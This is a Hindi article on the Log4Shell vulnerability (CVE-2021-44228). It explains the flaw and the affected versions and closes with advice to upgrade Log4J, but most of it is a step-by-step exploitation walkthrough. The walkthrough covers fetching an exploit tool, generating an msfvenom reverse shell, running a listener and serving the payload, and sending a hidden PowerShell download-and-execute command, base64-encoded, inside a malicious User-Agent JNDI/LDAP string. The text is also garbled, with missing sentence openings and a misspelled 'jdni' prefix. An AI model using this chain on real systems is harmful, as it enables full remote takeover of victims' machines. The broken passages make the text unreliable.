
Log4Shell (CVE-2021-44228): विवरण, शोषण और शमन
9 दिसंबर 2021 को दुनिया को Log4J से संबंधित एक नई सुरक्षा खामी के बारे में पता चला। इस भेद्यता का CVSSv3 (Common Vulnerability Scoring System) स्कोर 10 आंका गया था, जिससे यह गंभीर (Critical) स्तर की हो गई (https://nvd.nist.gov/vuln/detail/CVE-2021-44228)।
इसका CVSSv3 वेक्टर निम्नलिखित है: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H।
आइए इन मूल्यों के बारे में थोड़ा स्पष्ट करें ताकि इस आकलन का कारण पूरी तरह समझा जा सके:
Log4J एक Java लाइब्रेरी है, जो अब Apache Software Foundation परियोजना का हिस्सा है, जो किसी एप्लिकेशन की स्थिति पर नज़र रखने की अनुमति देती है।
यह Java अनुप्रयोगों के लॉगिंग का डी फैक्टो मानक है।
यह भेद्यता JNDI (Java Naming and Directory Interface) पर आधारित है: एक Java API जो किसी एप्लिकेशन को बाहरी डायरेक्ट्री सेवा (उदाहरण के लिए LDAP) के साथ इंटरैक्ट करने की अनुमति देती है।
यह इंटरैक्शन JNDI की lookup सुविधा के माध्यम से होती है, जो Log4J की डिफ़ॉल्ट कॉन्फ़िगरेशन में सक्षम होती है और रिमोट सर्वर के साथ इंटरैक्शन की अनुमति देती है।
पढ़ने के लिए कुछ छोटी उपयोगी जानकारी:
10.0.0.1 है10.0.0.2 हैx86 आर्किटेक्चर वाला Windows है80 पर एक वेब एप्लिकेशन चल रहा है, जिसे URL http://hackme.com पर देखा जा सकता है| ❗ ध्यान दें ❗ |
|---|
| नीचे वर्णित हमले की तकनीक केवल इस भेद्यता की वास्तविक खतरनाकता को समझने के लिए उपयोगी होनी चाहिए। लेखक निम्नलिखित लेख के किसी भी दुरुपयोग से दूरी बनाता है और उसकी निंदा करता है। |
निम्नलिखित हमले का उद्देश्य Log4Shell का शोषण करके असुरक्षित सिस्टम पर एक reverse shell डाउनलोड और निष्पादित करना है, ताकि उस पर पूर्ण नियंत्रण प्राप्त किया जा सके।
wget https://github.com/feihong-cs/JNDIExploit/releases/download/v1.2/JNDIExploit.v1.2.zip
unzip JNDIExploit.v1.2.zip
java -jar JNDIExploit-1.2-SNAPSHOT.jar -i 10.0.0.1 -p 2222
msfvenom के माध्यम से Windows के लिए TCP reverse shell बनाएं, ताकि पोर्ट 8888 पर मशीन का रिमोट एक्सेस प्राप्त किया जा सकेmsfvenom -p windows/shell/reverse_tcp LHOST=10.0.0.1 LPORT=8888 -f exe > payload.exe
8888 पर nc के माध्यम से एक listener प्रारंभ करेंnc -lvnp 8888
python3 -m http.server 4444
C:\windows\temp निर्देशिका के अंदर मैलवेयर डाउनलोड करने और उसे निष्पादित करने में सक्षम होगाpowershell -ExecutionPolicy bypass -nop -windowstyle hidden -command (New-Object System.Net.WebClient).DownloadFile("http://10.0.0.1:4444/payload.exe", "C:\Windows\temp\payload.exe");Start-Process("C:\Windows\temp\payload.exe")
base64 में एन्कोड करेंecho 'powershell -ExecutionPolicy bypass -nop -windowstyle hidden -command (New-Object System.Net.WebClient).DownloadFile("http://10.0.0.1:4444/payload.exe", "C:\Windows\temp\payload.exe");Start-Process("C:\Windows\temp\payload.exe")' | base64
पिछले कमांड का परिणाम निम्नलिखित है:
cG93ZXJzaGVsbCAtRXhlY3V0aW9uUG9saWN5IGJ5cGFzcyAtbm9wIC13aW5kb3dzdHlsZSBoaWRkZW4gLWNvbW1hbmQgKE5ldy1PYmplY3QgU3lzdGVtLk5ldC5XZWJDbGllbnQpLkRvd25sb2FkRmlsZSgiaHR0cDovLzEwLjAuMC4xOjQ0NDQvcGF5bG9hZC5leGUiLCAiQzpcV2luZG93c1x0ZW1wXHBheWxvYWQuZXhlIik7U3RhcnQtUHJvY2VzcygiQzpcV2luZG93c1x0ZW1wXHBheWxvYWQuZXhlIik=
User-Agent को लॉग करता है। हमलावर निम्न जैसा अनुरोध भेजता है:GET / HTTP/1.1
Host: hackme.com
User-Agent: ${jdni:ldap://10.0.0.1:1389/Basic/Command/Base64/cG93ZXJzaGVsbCAtRXhlY3V0aW9uUG9saWN5IGJ5cGFzcyAtbm9wIC13aW5kb3dzdHlsZSBoaWRkZW4gLWNvbW1hbmQgKE5ldy1PYmplY3QgU3lzdGVtLk5ldC5XZWJDbGllbnQpLkRvd25sb2FkRmlsZSgiaHR0cDovLzEwLjAuMC4xOjQ0NDQvcGF5bG9hZC5leGUiLCAiQzpcV2luZG93c1x0ZW1wXHBheWxvYWQuZXhlIik7U3RhcnQtUHJvY2VzcygiQzpcV2luZG93c1x0ZW1wXHBheWxvYWQuZXhlIik=}
${jdni:ldap://10.0.0.1:1389/Basic/Command/Base64/cG93ZXJzaGVsbCAtRXhlY3V0aW9uUG9saWN5IGJ5cGFzcyAtbm9wIC13aW5kb3dzdHlsZSBoaWRkZW4gLWNvbW1hbmQgKE5ldy1PYmplY3QgU3lzdGVtLk5ldC5XZWJDbGllbnQpLkRvd25sb2FkRmlsZSgiaHR0cDovLzEwLjAuMC4xOjQ0NDQvcGF5bG9hZC5leGUiLCAiQzpcV2luZG93c1x0ZW1wXHBheWxvYWQuZXhlIik7U3RhcnQtUHJvY2VzcygiQzpcV2luZG93c1x0ZW1wXHBheWxvYWQuZXhlIik=
Log4J को भेजी जाती है, जो इसे व्याख्यायित करता है और JNDI के माध्यम से हमलावर के LDAP सर्वर से अनुरोध करता है
ldap://10.0.0.1:1389/Basic/Command/Base64/cG93ZXJzaGVsbCAtRXhlY3V0aW9uUG9saWN5IGJ5cGFzcyAtbm9wIC13aW5kb3dzdHlsZSBoaWRkZW4gLWNvbW1hbmQgKE5ldy1PYmplY3QgU3lzdGVtLk5ldC5XZWJDbGllbnQpLkRvd25sb2FkRmlsZSgiaHR0cDovLzEwLjAuMC4xOjQ0NDQvcGF5bG9hZC5leGUiLCAiQzpcV2luZG93c1x0ZW1wXHBheWxvYWQuZXhlIik7U3RhcnQtUHJvY2VzcygiQzpcV2luZG93c1x0ZW1wXHBheWxvYWQuZXhlIik=
मैलवेयर डाउनलोड किया जाता है और निष्पादित किया जाता है।
हमलावर को पोर्ट 8888 पर मशीन का शेल मिल जाता है।
सबसे पहले यह याद रखना आवश्यक है कि यह एक ऐसी भेद्यता है जो केवल उन सॉफ़्टवेयरों को प्रभावित करती है जो Java या उसके किसी व्युत्पन्न का उपयोग करते हैं (और निश्चित रूप से लॉगिंग लाइब्रेरी के रूप में Log4J)।
2.0-beta9 - 2.14.1: Log4Shell के प्रति असुरक्षित संस्करण 2.0-beta9 से 2.14.1 तक हैं।2.15.0: Log4J का 2.15.0 संस्करण असुरक्षित पाया गया है। CVE-2021-45046। फिलहाल इस भेद्यता की रेटिंग "9.0 Critical" है।2.16.0: Log4J का 2.16.0 संस्करण असुरक्षित पाया गया है। CVE-2021-45105। फिलहाल इस भेद्यता की रेटिंग "7.5 High" है।Log4J का 1.x संस्करण इस संदर्भित सुरक्षा छिद्र के प्रति सख्त रूप से असुरक्षित नहीं है, लेकिन 2015 में बंद किए जाने के अलावा, यह निम्नलिखित भेद्यता से प्रभावित है: CVE-2021-4104।
सबसे अच्छा समाधान Log4J को 2.17.0 संस्करण में अपडेट करना है।